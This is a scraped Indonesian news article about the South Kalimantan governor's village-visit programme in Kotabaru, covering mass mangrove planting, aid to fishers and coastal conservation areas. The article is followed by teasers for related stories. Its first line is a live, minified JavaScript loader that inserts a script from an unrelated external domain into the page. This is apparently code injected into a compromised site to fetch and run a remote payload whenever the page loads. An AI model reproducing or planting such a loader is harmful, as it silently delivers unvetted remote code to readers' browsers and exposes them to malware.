(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Rombongan Turdes (Turun ke Desa) ke-10 tahun 2024 Gubernur Kalsel H Sahbirin Noor disambut antusias masyarakat Kabupaten Kotabaru, Kalimantan Selatan (Kalsel).
Pada hari kedua, rombongan Turdes melakukan penanaman serentak 237.000 pohon mangrove dan penyerahan bantuan sarana dan prasarana penangkapan nelayan serta penyerahan sertifikat CBIB pembudidayaan ikan di Desa Sigam, Kecamatan Pulau Laut Sigam, Kabupaten Kotabaru, Selasa (2/7/2024) siang.
Gubernur Kalsel melalui Kepala Dinas Kelautan dan Perikanan Provinsi Kalsel, Rusdi Hartono, SPi MP mengatakan, sebagaimana RPJMD Provinsi Kalsel 2021-2026, Pemprov Kalsel telah menetapkan prinsip-prinsip dasar yang harmoni dalam menentukan arah kebijakan pembangunan lingkungan hidup di Kalsel.
“Mulai dari keseimbangan, keselarasan, dan keserasian sistem ekologi, sosial, ekonomi dan budaya,” ucap Rusdi membacakan sambun Gubernur Kalsel.
Baca juga: Wilayah Kalsel Hadapi La Nina di Agustus-September, Kemarau Lebih Pendek
Menurut Rusdi, salah satu program yang digagas Paman Birin yakni Gerakan Revolusi Hijau, dilatarbelakangi masih luasnya lahan kritis dan rendahnya kemampuan untuk kegiatan rehabilitasi hutan dan lahan.
“Bahwa upaya untuk memperbaiki kualitas lingkungan hidup, melalui kegiatan penanaman pohon tidak hanya dilakukan di darat saja, melainkan dilakukan juga di kawasan pesisir, bahkan di perairan laut,” tambahnya.
Maka dari itu, untuk menjaga kelestarian di kawasan pesisir, Pemprov Kalsel telah memiliki kawasan konservasi perairan dengan luas 179.659,89 hektare yang telah ditetapkan oleh Menteri Kelautan Nomor 69 tahun 2020. Kawasan konservasi perairan itu setara dengan kawasan lindung di darat.
Pemprov Kalsel berharap dengan adanya kawasan konservasi tersebut, sumber daya kelautan di Kalsel dapat terlindungi untuk kemudian dimanfaatkan secara keberlanjutan kedepannya.
Baca juga: Hamil Tanpa Nikah, HN Buang Bayi di Belakang Rumah
Menurut Rusdi, ekosistem mangrove, terumbu karang, dan ekosistem lamun sangat penting bagi kehidupan masyarakat. Dinamikan perubahan tiga ekosistem tersebut sangat berkaitan erat dengan sumberdaya ikan.
“Maka dari itu, saya mengajak kepada seluruh masyarakat untuk terus menumbuhkan kepedulian terhadap lingkungan dalam menjaga pelestarian pesisir kita,” tandasnya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.